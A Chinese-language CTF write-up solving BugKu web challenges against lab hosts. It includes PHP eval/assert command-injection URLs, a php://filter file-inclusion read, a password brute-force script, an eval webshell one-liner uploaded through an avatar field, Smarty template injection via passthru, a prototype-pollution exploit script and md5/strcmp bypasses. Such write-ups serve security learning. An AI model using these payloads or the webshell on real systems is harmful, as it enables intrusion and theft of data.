BugKu Web 刷题记录3
参考:
PHP程序执行
BugKu-Web-wp1
BugKu-Web-wp2
BugKu-Web-wp3
game1
一局游戏结束后,发现抓到了一个可疑的数据包
![game1_1.png](https://s2.loli.net/2022/04/27/qpcmtIiEDoKwRuM.png)
猜测sign字段是base64加密的,但解码后发现是无用字符,又对score字段尝试base64加密,发现25的base64码是MjU=
,故猜测sign字段本质上是不是'zM'+'base64_encode(score)'+'=='
这样组成的,发送后发现确实可以得到flag
![game1_2.png](https://s2.loli.net/2022/04/27/c5I9fRCyYVqFkwi.png)
eval
方法1
先试试传入全局变量看看其中内容
http://114.67.175.224:13624/?hello=$GLOBALS
|
![eval1.png](https://s2.loli.net/2022/04/27/3mGOYDJhBH8264i.png)
很好,被嘲讽了。eval会执行传入字符串,故构造payload让其执行命令
http://114.67.175.224:13624/?hello=);show_source('flag.php');var_dump(
|
![eval2.png](https://s2.loli.net/2022/04/27/4u1rN5TXjQaVF63.png)
方法2
也可以直接使用file
http://114.67.175.224:13624/?hello=file('flag.php')
|
source
扫描发现有git文件泄露,故下载git文件(linux下)
wget -r http://114.67.175.224:19331/.git
|
进入日志目录下
cd 114.67.175.224:19331/.git/logs
|
查看信息
![source1.png](https://s2.loli.net/2022/04/27/9iGlevcpH3gEZjJ.png)
使用git show命令查看文件,最终在40c6d51文件里找到flag
![source2.png](https://s2.loli.net/2022/04/27/jXeQsLpJgoF5ril.png)
文件包含
方法1
尝试查看源码
http://114.67.175.224:10060/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
|
base64解码后获得源码和flag
<html> <title>Bugku-web</title> <?php error_reporting(0); if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag:flag{ee54957897543831f6aa21d30f46913d} ?> </html>
|
方法2
也可以直接构造该payload获得flag
http://114.67.175.224:10060/index.php?file=//flag
|
好像需要密码
直接5位纯数字爆破(密码是12468),exp如下
import requests import os import re import base64
lens = 5 for password in range(0,100000): password = str(password) if(len(password)<lens): diff = lens-len(password) for i in range(diff): password = '0' + password test = requests.post('http://114.67.175.224:15735/',data={'pwd': password}) print('当前测试的密码为:') print(password) if 'flag' in test.text: flag = re.findall("flag\{(.*)?\}",test.text) print('[+]正确的密码为:',password) print('[*]flag{'+flag[0]+'}') break
|
![password.png](https://s2.loli.net/2022/04/27/3dtQCz5cogAI9F4.png)
No one knows regex better than me
打开网页即可获得源码,本地分析源码测试如下
<?php error_reporting(0); $zero = "\\ZmxhZw=="; $first="ag/\\|.php"; $second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){ echo "[1]"; $key=$second; if(preg_match("/\.\.|flag/",$key)){ die("Noooood hacker!"); }else{ echo "[2]"; $third=$first; if(preg_match("/\\|\056\160\150\x70/i",$third)){ echo "[3]"; $end=substr($third,5); echo base64_decode($zero).$end; } } } else{ echo "fail!!!"; } ?>
|
写脚本提交即可,exp如下:
import requests import os import re import base64
url = "http://114.67.175.224:17373/" data = { 'zero':"\\ZmxhZw==", 'first':"ag/\\|.php" } response = requests.post(url=url,data=data); print(response.text)
|
![better_re.png](https://s2.loli.net/2022/04/27/V5Yd92Ri3HZNUvW.png)
shell
先查看提示,分析后如下
<?php $poc = "a#s#s#e#r#t"; $poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']); ?>
|
发现传入s即可,故构造payload,先执行ls命令查看有哪些文件
http://114.67.175.224:11841/?s=system(%27ls%27)
|
![shell1.png](https://s2.loli.net/2022/04/27/esdpv8BWliSRng4.png)
查看该txt文件即可获得flag
http://114.67.175.224:11841/?s=system(%27cat%20flaga15808abee46a1d5.txt%27)
|
![shell2.png](https://s2.loli.net/2022/04/27/8DhOGmWrz93K6wd.png)
聪明的php
随意传参得到源码提示
<?php include('./libs/Smarty.class.php'); echo "pass a parameter and maybe the flag file's filename is random :>"; $smarty = new Smarty(); if($_GET){ highlight_file('index.php'); foreach ($_GET AS $key => $value) { print $key."\n"; if(preg_match("/flag|\/flag/i", $value)){ $smarty->display('./template.html'); }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){ $smarty->display('./template.html'); }else{ $smarty->display("eval:".$value); } } } ?>
|
可以看到system等命令已经被禁用了,故使用passthru来执行命令
http://114.67.175.224:15783/index.php?a={passthru(%27ls%20-al%20/%27)}
|
![php1.png](https://s2.loli.net/2022/04/27/wRp7dIuoJKUT8AE.png)
发现一个很可疑文件,去读取即可获得flag
http://114.67.175.224:15783/index.php?a={passthru(%27tac%20/_7782%27)}
|
![php2.png](https://s2.loli.net/2022/04/27/NYuIkAJXHZKewjq.png)
有关程序执行可看此网站:PHP程序执行
参考wp:BugKu-Web-wp1
xxx二手交易市场
看了一圈发现没什么东西,注册账号登录,发现可以上传头,故进行图片上传并抓包,发现图片是用base64编码的,故构造一句话木马传进去(注意使用base64编码,且前面的jpeg要改为php)
<?php @eval($_REQUEST['cmd']); ?>
|
![xxxx1.png](https://s2.loli.net/2022/04/27/m6kYFzCrnJpso98.png)
用中国蚁剑连接传入php文件地址(密码为cmd),翻找后获得flag。
![xxxx2.png](https://s2.loli.net/2022/04/27/zIYa4Xc39OCHf7L.png)
闪电十六鞭
打开网页即可获得源码,分析后构造payload即可获得flag
http://114.67.175.224:17903/?flag=$a=%27flaa%27;$a{3}=%27g%27;?%3E%3C?=$$a;?%3Ebbbbbbbbbbbbbbbbbb
|
![teacherma.png](https://s2.loli.net/2022/04/27/zra8M3yHTnWsIeo.png)
参考wp:BugKu-Web-wp2
sodirty
用御剑扫一遍发现www.zip
![dirty1.png](https://s2.loli.net/2022/04/27/Iv5dpC3bAocHKXt.png)
解压后,重点看routes下的index.js文件,其中,getflag是我们获取flag的地方
router.post("/getflag", function (req, res, next) { if (req.body.password === undefined || req.body.password === req.session.challenger.password){ res.send("登录失败"); }else{ if(req.session.challenger.age > 79){ res.send("糟老头子坏滴很"); } let key = req.body.key.toString(); let password = req.body.password.toString(); if(Admin[key] === password){ res.send(process.env.flag ? process.env.flag : "flag{test}"); }else { res.send("密码错误,请使用管理员用户名登录."); } } });
|
update可以更新键值对,是我们主要要利用的函数
router.post("/update", function (req, res, next) { if(req.session.challenger === undefined){ res.redirect('/reg'); }else{ if (req.body.attrkey === undefined || req.body.attrval === undefined) { res.send("传参有误"); }else { let key = req.body.attrkey.toString(); let value = req.body.attrval.toString(); setFn(req.session.challenger, key, value); res.send("修改成功"); } } });
|
故构造exp如下即可获得flag
import requests import os import re import base64
s = requests.session() url = "http://114.67.175.224:19460" reg = s.get(url+'/reg')
data = { 'attrkey':'age', 'attrval':79 } update_age = s.post(url+'/update',data=data)
data = { 'attrkey':'__proto__.pwd', 'attrval':123 } update_info = s.post(url+'/update',data=data)
data = { 'password':123, 'key':'pwd' } response = s.post(url=url+'/getflag',data=data); print(response.text)
|
参考:BugKu-Web-wp3
字符?正则?
打开网页获得源码,本地分析
<?php
$_GET["id"] = 'keykeyaaaaakey:/a/keya.'; $key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match); if( $IM ){ die('key is: '.$key); } else { echo "Fail!"; } ?>
|
构造payload获取flag
http://114.67.175.224:13051/?id=keykeyaaaaakey:/a/keya.
|
正则匹配规则:正则表达式 - 匹配规则
前女友
查看网页源码发现code.txt,访问即可获得源码
<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ echo $flag; } } } ?>
|
构造payload
http://114.67.175.224:11845/?v1=QNKCDZO&v2=s878926199a&v3[]=1
|
login1
尝试注册admin用户提示用户名已经存在,故猜测管理员账号用户名为admin
![login1_1.png](https://s2.loli.net/2022/04/27/M4C7zaomdrfwk1q.png)
经过尝试发现未对空格过滤,故创建一个用户名为‘admin ’
(即admin+空格)的账户登录即可
![login1_2.png](https://s2.loli.net/2022/04/27/F7qpLaQ3dwZK24T.png)